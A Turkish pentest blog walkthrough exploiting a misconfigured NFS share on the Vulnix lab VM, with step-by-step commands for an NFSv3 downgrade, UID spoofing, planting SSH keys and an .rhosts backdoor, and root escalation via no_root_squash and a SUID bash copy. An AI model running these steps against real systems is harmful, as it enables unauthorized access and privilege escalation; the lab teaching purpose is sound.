Güvenilir Olarak Yapılandırılmamış NFS Servisinin İstismarı

0
1816
views
Sızma testleri sırasında tespit edilen zafiyetlerin istismarı ile hedef sistemin işletim sistemine erişim elde edilebilir. Bu yazıda, HackLAB: Vulnix sanal makinesi üzerinde güvenilir olarak yapılandırılmayan NFS (Network File System) servisi istismar edilecek ve işletim sisteminin komut satırına erişim elde edilecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Yazıda kullanılan HackLAB: Vulnix sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/hacklab-vulnix,48/

 

1) NFS Servisinin İşlevi

NFS (Network File System) ağdaki bilgisayarların (özellikle UNIX/Linux işletim sistemlerinin) ortak bir dosya sistemine, yerel diskleri kadar kolay ulaşmasını sağlayan, ilk olarak 1984 yılında Sun Microsystems tarafından geliştirilmiş RPC temelli dağıtık dosya sistemi yapısıdır. Böylece bir ağ üzerindeki birden fazla bilgisayarda bulunan dosyaların, tek bir sabit diskte yer alıyormuşçasına yönetilmelerini sağlar. Bunun yanında NFS, uygun şekilde yapılandırılmamışsa yetkisiz erişim sağlanabilir.

Not: NFS’in eski sürümlerinin güvensiz olmasının yanında yeni sürümlerinde kerberos ile kimlik doğrulama dahil bir çok güvenlik katmanı eklenmiştir.

NFS hizmeti verebilmek (server –  sunucu) için gerekli paketlerin kurulması gereklidir. Bu paketler temel olarak aşağıdaki gibidir.

  • nfs-kernel-server
  • nfs-common
  • nfs-utils
  • nfs-utils-lib
  • rpcbind

NFS hizmetine bağlanabilmek (client – istemci) için gerekli paketlerin kurulması gereklidir. Bu paketler temel olarak aşağıdaki gibidir.

  • nfs-common
  • nfs-utils
  • nfs-utils-lib
  • rpcbind

Not: NFS ile ilgili detaylı bilgi için kaynaklardaki LinuxFocus yazısı incelenebilir.

 

2) NFS Yapılandırması

NFS hizmeti verecek sunucuda yapılandırma dosyaları bulunmaktadır. Bu dosyalar temel olarak aşağıdaki gibidir.

  • /etc/hosts: Servise erişime izin verilen veya engellenen istemciler belirtilebilir.
  • /etc/exports: NFS için asıl yapılandırma dosyasıdır.

 

HackLAB: Vulnix sanal makinesindeki “/etc/exports” içeriği incelendiğinde “/home/vulnix *(rw,root_squash)” ifadesi görülmektedir.

ls -la /etc/exports
cat /etc/exports

 

Hedef IP adresinde NFS üzerinden yapılan paylaşım incelendiğinde, herhangi bir IP kısıtı yapılmaksızın tüm IP adreslerinin (*) erişimine açık olacak şekilde “/home/vulnix” dizininin paylaşıldığı görülür.

Uzak bir bilgisayardan (Kali gibi) NFS paylaşımı sorgulandığında da “/home/vulnix *” geri dönüşü alınmaktadır.

nmap -p111 -Pn –open –script=nfs-showmount 10.100.50.175

 

Not: NFS servisinin tespiti (rpcinfo, nmap), paylaşımın keşfi (Nmap nfs-showmount/nfs-ls, MSF nfsmount, showmount) ve disk sistemine erişim edilmesi (mount) ile ilgili yöntemler için kaynaklardaki Siberportal yazısı incelenebilir.

/etc/exports” dosyasında verilebilecek en önemli NFS parametleri aşağıdaki gibi sıralanabilir.

  • Senkronizasyon parametreleri:
    • sync“: Senkron dosya paylaşımı gerçekleştirileceğini belirtir. Senkron kullanımında istemcinin yazma işleminin bitmesi beklendikten sonra veriler sunucunun diskine yazılır (işlenir). Bu sebeple kontrollü ve yavaş olmasına rağmen daha güvenilir ve veri kaybını azaltıcı bir seçenektir. Varsayılan senkronizasyon seçeneğidir.
    • async“: Asenkron dosya paylaşımı gerçekleştirileceğini belirtir.
  • Yetkilendirme parametreleri:
    • rw“: Yazma işlemi gerçekleştirilebilir.
    • ro“: Sadece okuma işlemi gerçekleştirilebilir. Varsayılan yetkilendirme seçeneğidir.
  • Erişim ezme parametreleri:
    • root_squash“: Bağlantı kuracak istemci üzerinden, paylaşılan dizinlerde (“rw” yetkisi etkinleştirilmişse) “root” izni ile dosya oluşturulamaması/erişilememesi sağlanır. Bu parametrenin etkinleştirilmesi sayesinde, istemci tarafında paylaşıma “root” yetkisi ile bağlanıldığında, NFS kurulu sunucuda bu kullanıcı “nobody” adlı kullanıcıya çevrir yani istemcinin “root” kullanıcısının yetkisini ezerek, hedef NFS paylaşımına en az yetkili kullanıcı ile bağlanılmasını sağlar. Varsayılan istemci kullanıcı yetkisini ezme seçeneğidir.
    • no_root_squash“: Bağlantı kuracak istemci üzerinden paylaşılan dizinlerde (“rw” yetkisi etkinleştirilmişse) “root” kullanıcısının (ID:0) izni ile dosya oluşturulabilmesine/erişilebilmesine sebep olur. Güvenilir olmayan bir seçenektir.
    • all_squash“: Bağlantı kuracak istemci üzerinden, paylaşılan dizinlerde (“rw” yetkisi etkinleştirilmişse) hangi kullanıcı ile bağlanılırsa bağlanılsın, ilgili kullanıcının (“root” dahil) izni ile dosya oluşturulamaması/erişilememesi sağlanır. Yani, istemciden bağlanan tüm kullanıcılar sunucu tarafında anonim kullanıcı olarak değerlendirilir.
    • squash_uids 0,10-30,1000-2000“, “squash_gids 0,50,200-220“: Bağlantı kuracak istemci üzerinden, paylaşılan dizinlerde (“rw” yetkisi etkinleştirilmişse) belirtilen kullanıcıların kendi izinleri ile dosya oluşturulamaması/erişilememesi sağlanır. Yani, istemciden bağlanan belirli kullanıcı veya grup ID’leri/ID aralıkları sunucu tarafında anonim kullanıcı olarak değerlendirilir.

 

3) NFS Paylaşımının Mount Edilmesi

Ağ üzerinden erişelecek olan NFS paylaşımı (“/home/vulnix“) yerel bilgisayardaki “/tmp/paylasim” gibi bir dizinmiş gibi gösterilebilir. Bu amaçla NFS paylaşımına erişim için bir dizin oluşturulur ve bu dizine paylaşım mount edilir.

mkdir /tmp/paylasim
ls -la /tmp/paylasim
mount -t nfs 10.100.50.175:/home/vulnix /tmp/paylasim

 

Ancak kullanılan Kali makinesinde paylaşımı mount etme işlemi başarısız olmuştur.

df

 

mount” komutu çıktısında da hata mesajı görülmekte idi.

mount: /tmp/paylasim: bad option; for several filesystems (e.g. nfs, cifs) you might need a /sbin/mount.<type> helper program.

Bu gibi bir hata alınması durumunda “nfs-common” paketi kurulabilir.

apt-cache search mount nfs client
apt-get install nfs-common

 

Yeniden denendiğinde mount işleminin başarılı olduğu görülmektedir.

mount -t nfs 10.100.50.175:/home/vulnix /tmp/paylasim
df

 

4) NFS Paylaşımına Erişim Denemesi: “root” Kullanıcısı

“root” kullanıcısının yetkisi ile “/tmp/paylasim” dizininin içeriğine erişim sağlanamadığı görülmektedir.

cd /tmp/paylasim
ls -la /tmp/paylasim
ls -la /tmp/ | grep paylasim

 

Bunun sebebi “/etc/exports” dosyasındaki “/home/vulnix” paylaşımındaki yetkilendirmenin “root_squash” parametresinin ayarlanmış olmasıdır. Böylece “/tmp/paylasim” dizininin sahibi “root” kullanıcısından “nobody” kullanıcısına çevrilmiştir.

Not: İstemci olan Kali makinesi üzerindeki paylaşımın sahibi “nobody” kullanıcısı olarak görülmektedir. Mount edilen dizindeki bu sahiplik ile sunucu olan HackLAB: Vulnix makinesindeki “/home/vulnix” dizininin sahipliği (“vulnix” kullanıcısı) farklı şeylerdir.

ls -la /home/ | grep vulnix

 

5) NFS Paylaşımına Erişim Denemesi: “nobody” Kullanıcısı

“/tmp/paylasim” dizinine erişim sağlayabilmek için istemci tarafta “nobody” kullanıcısına geçilebilir. Bu amaçla “nobody” kullanıcısının ev ve kabuk bilgileri ayarlanması gereklidir.

cat /etc/passwd | grep nobody
nano /etc/passwd
cat /etc/passwd | grep nobody
su – nobody

ls -la /tmp/ | grep paylasim
id
cd /tmp/paylasim
ls -la /tmp/paylasim

 

Ancak “nobody” kullanıcısının “/tmp/paylasim” dizinine erişimi olmasına rağmen, “/home/vulnix” dizininin erişim yetkisinin 750 (rwx r-x —) olması ve sahipliğinin de “vulnix:vulnix” olması dolayısı ile NFS paylaşımının içeriği “nobody” kullanıcısı ile okunamamaktadır.

 

6) NFS Paylaşımına Erişim Sağlanması: “stat” Komutu

Paylaşım dizinine erişim sağlanabilmesi için hedef HackLAB: Vulnix sanal makinesindeki “vulnix” kullanıcısı ile aynı ID’de olan bir kullanıcıyı istemci Kali makinesinde oluşturmak gereklidir. Bu kullanıcının ID’sinin tespiti için “stat” aracı kullanılabilir.

df
stat /tmp/paylasim

 

Ancak sunucu tarafında çalışan NFSv4, paylaşım dizininin sahipliğini “nobody” olarak vermektedir. Sunucu tarafında NFS ayağa kalkarken de (varsayılan olarak) çekirdek tarafından desteklenen en üst sürüm ile çalışır. Benzer olarak istemci tarafında da mount işlemi sırasında, “mount” komutu istemcideki en üst sürüm NFS ile bağlantı talebinde bulunur. İstemci mount işlemi sırasında en üst sürüm NFS (NFSv4) yerine daha eski sürüm NFS (NFSv3) olarak talepte bulunursa – yani sürüm düşürme (downgrade) saldırısı düzenlenirse – dizin sahipliğinin “nobody” kullanıcısına çevrilmesi atlatılmış olur.

mkdir /tmp/paylasim2
mount -t nfs -o vers=3 10.100.50.175:/home/vulnix /tmp/paylasim2
df
stat /tmp/paylasim2

 

Kullanıcı ID bilgisi tespit edildikten sonra, bu ID’ye sahip bir kullanıcı oluşturularak paylaşıma erişim sağlanabildiği görülmüştür.

useradd NfsHesabi -u 2008 -m -s /bin/bash
su NfsHesabi

id
ls -la /tmp/ | grep paylasim*
ls -la /tmp/paylasim
ls -la /tmp/paylasim2

 

“rw” yetkisi verildiği için bu dizine dosya yazılabilmektedir. NFS4 ile mount edilen paylaşımda yeni oluşturulan dosyaların sahipliğinin de “nobody” olduğu görülmektedir.

echo “Merhaba Dünya” > /tmp/paylasim/deneme.txt
ls -la /tmp/paylasim/deneme.txt
ls -la /tmp/paylasim2/deneme.txt
cat /tmp/paylasim/deneme.txt

 

7) NFS Paylaşımına Erişim Sağlanması: nfspy Aracı

Hedef HackLAB: Vulnix sanal makinesindeki “vulnix” kullanıcısının ID’sini tespit etmek için “nfspy” aracı da kullanılabilir. Bu araç da NFSv4 öncesindeki sürümlerde kullanıcı ID’yi keşfetmek için kullanılabilir.

mkdir /tmp/paylasim3
nfspy -o rw,server=10.100.50.175:/home/vulnix /tmp/paylasim3
ls -la /tmp/ | grep paylasim
df

 

Kullanıcı ID bilgisi 2008 olarak tespit edildikten sonra, bu ID’ye sahip bir kullanıcı oluşturularak paylaşıma erişim sağlanabilir.

 

8) NFS Paylaşımına Erişim Sağlanması: UID Kaba Kuvvet Saldırısı

Hedef HackLAB: Vulnix sanal makinesinde sadece NFSv4 deskteği verilse (NFSv3‘e sürüm düşürme saldırısı yapılamasa) idi “vulnix” kullanıcısının ID’si tespit edilemeyebilirdi. Bu durumda kullanıcı ID’sini tespit etmek için, kaba kuvvet saldırısı da uygulanabilir.

Kaba kuvvet saldırı için kullanılabilecek örnek betik için kaynaklardaki IT-Connect yazısı incelenebilir.

Kullanıcı ID bilgisi 2008 olarak tespit edildikten sonra, bu ID’ye sahip bir kullanıcı oluşturularak paylaşıma erişim sağlanabilir.

 

9) Komut Satırı Erişimi Elde Etme: SSH Anahtarı

Hedef HackLAB: Vulnix sanal makinesinin paylaşım dizinine (“/home/vulnix”) eriştikten sonra bu paylaşımda kritik bilgi aranabilir. Ayrıca, bir dosya atılarak (zararlı php dosyası gibi) farklı bir servisten (web gibi) çağırma yöntemi ile komut satırı erişimi elde edilebilir. Mevcut ortamda ise SSH servisi dışardan erişilebilir olduğu için ve bir kullanıcının ev dizinine erişim sağlanmış olduğu için SSH (anahtar çifti) ile komut satırına erişim yöntemi kullanılabilir.

SSH ile komut satırına erişim için öncelikle istemci Kali bilgisayarda ssh-keygen aracı ile anahtar çifti (özel anahtar ve açık anahtar) oluşturulur.

ssh-keygen -t rsa -f /tmp/anahtar
ls -la /tmp/anahtar*

 

Açık anahtar hedef HackLAB: Vulnix sanal makinesinin “~/.ssh/authorized_keys” dosyasına eklenir.

su NfsHesabi

cd /tmp/paylasim
mkdir .ssh
cat /tmp/anahtar.pub >> /tmp/paylasim/.ssh/authorized_keys
cat /tmp/paylasim/.ssh/authorized_keys

 

Açık anahtarla ilişkili özel anahtar ile SSH bağlantısı sağlanabilir.

ssh vulnix@10.100.50.175 -i /tmp/anahtar

 

10) Komut Satırı Erişimi Elde Etme: RHOST Dosyası

Hedef HackLAB: Vulnix sanal makinesinde RLOGIN servisi dışardan erişilebilir olduğu için ve bir kullanıcının ev dizinine erişim sağlanmış olduğu için Rlogin ile komut satırına erişim yöntemi de kullanılabilir.

Bu amaçla öncelikle kullanıcının ev dizini altına “~/.rhosts” dosyası oluşturulur. Bu dosyanın içerisine IP kısıtı olmaksızın (“+“) belirli bir kullanıcı adı (“vulnix“) ile giriş yapılabilmesi için “+ vulnix” ifadesi yazılır. Son olarak da dosya yetkisi 600 olarak güncellenir.

su NfsHesabi

echo “+ vulnix” > /tmp/paylasim/.rhosts
ls -la /tmp/paylasim/.rhosts
chmod 600 /tmp/paylasim/.rhosts
cat /tmp/paylasim/.rhosts

 

Bağlantı için Putty aracı kullanılabilir. Bu amaçla Putty aracına oturuma ait IP ve servis bilgisi girilir.

 

Sonrasında rlogin kullanıcı adı girişi gerçekleştirilir.

 

Son olarak da istemci tarafında bağlantıyı başlatan kullanıcının adı belirtilir.

 

Böylece komut satırına erişim elde edilmiş olur.

id
w

 

Not: VNC servisinin açık olması durumunda SSH ve Rlogin gibi VNC ile de erişim sağlanabilirdi.

 

11) NFS Yapılandırma Üzerinden Hak Yükseltme: no_root_squash ve SUID

Hak yükseltmek için kernel, yapılandırma, kullanım zafiyetleri gibi çeşitli yöntemler istismar edilebilir. NFS üzerinden hak yükseltme yöntemlerinden biri de “/etc/exports” dosyasındaki ayarların değiştirilmesi ve sahibi “root” kullanıcısı olan SUID biti etkin bir dosyanın (“/bin/bash”, ters bağlantı kuran çalıştırılabilir dosya,…) çalıştırılmasıdır.

Varsayılan olarak “/etc/exports” dosyasının sahibi “root:root” ve yetkilendirmesi de 644 şeklindedir. Bu sebeple standart kullanıcılar tarafından bu dosyanın içeriği okunabilir ancak değiştirilemez. Hedef HackLAB: Vulnix sanal makinesinde ise, “/etc/exports” dosyasının içeriğini “root” kullanıcısı gibi değiştirme yetkisi (sudo sudoedit) “vulnix” kullanıcısına verilmiştir.

ls -la /etc/exports
cat /etc/exports | grep -Ev “^#”
sudo -l

 

NFS paylaşımında “root_squash” seçeneği etkinleştirilmiştir. Bu sebeple sahibi “root”, yetkilendirmesi 4777 olan bir dosya atılsa bile, bu yetkilendirme ezilecektir.

echo “Merhaba Dünya” > /tmp/YeniDosya
chmod 4777 /tmp/YeniDosya
ls -la /tmp/YeniDosya
su NfsHesabi
cp /tmp/YeniDosya /tmp/paylasim/YeniDosya
ls -la /tmp/YeniDosya /tmp/paylasim/YeniDosya

hostname
ls -la YeniDosya

 

NFS paylaşımında “root_squash” seçeneği, “no_root_squash” olarak değiştirilmesi ile yetkilendirme ezilmesinin önüne geçilebilir.

cat /etc/exports | grep -Ev “^#”
sudoedit /etc/exports
cat /etc/exports | grep -Ev “^#”

 

Yapılan değişikliğin etkinleşmesi için HackLAB: Vulnix sanal makinesindeki NFS servisi veya sanal makine yeniden başaltılabilir. Ayrıca bağlantı kuran Kali sanal makinesindeki paylaşım erişimi de koparılır.

df
umount /tmp/paylasim
df

 

Kali istemcisi üzerinden paylaşım yeniden mount edilir.

mount -t nfs 10.100.50.175:/home/vulnix /tmp/paylasim
cd /tmp/paylasim
cp /bin/bash HakYukselt
ls -la HakYukselt
chmod 4777 HakYukselt

ls -la HakYukselt

 

SUID biti aktifleştirilmiş ve sahibi “root” olan “/bin/bash” dosyası çalıştırılarak hak yükseltme işlemi gerçekleşmiş olur.

id
./HakYukselt -p

 

Not: “sudoedit /etc/exports” komutu ile “/ *(rw,no_root_squash)” ifadesi eklenerek, tüm disk yazılabilir ve root yetkilendirmesi etkinleşmiş halde yeniden mount edilebilirdi. Bu gibi bir durumda “/etc/shadow”, “/etc/sudoers”, “/etc/passwd”… gibi dosyalarda güncelleme yapılarak da hak yükseltilebilirdi.

 

Kaynaklar:

https://www.syslogs.org/centos-nfs-server-ve-client-yapilandirmasi/
http://www.linuxfocus.org/Turkce/November2000/article164.shtml

NMAP Betikleri, Showmount Komutu ve MSF nfsmount Auxiliary Modülü ile NFS Paylaşımlarına Erişimin Sağlanması


http://aguvenligitest.blogspot.com.tr/2013/08/szma-testlerinde-hedef-olarak-linux-ve_28.html
NFS
https://mrh4sh.github.io/vulnix-solution
http://www.abatchy.com/2016/10/walkthrough-vulnix-vulnhub-vm.html
https://medium.com/@Kan1shka9/hacklab-vulnix-walkthrough-b2b71534c0eb
http://fullyautolinux.blogspot.com.tr/2015/11/nfs-norootsquash-and-suid-basic-nfs.html

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.